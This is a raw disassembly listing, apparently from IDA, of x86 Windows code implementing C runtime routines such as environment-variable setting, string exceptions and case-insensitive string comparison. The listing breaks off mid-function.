		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2D0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2D4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2D0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2D8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2D8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2D0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2D0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25C1081h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC821[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2850000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 7Bh

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26503FBh
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB364, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB364
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB5BC, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB5BC, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE5C
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB5BC, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB5BC
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
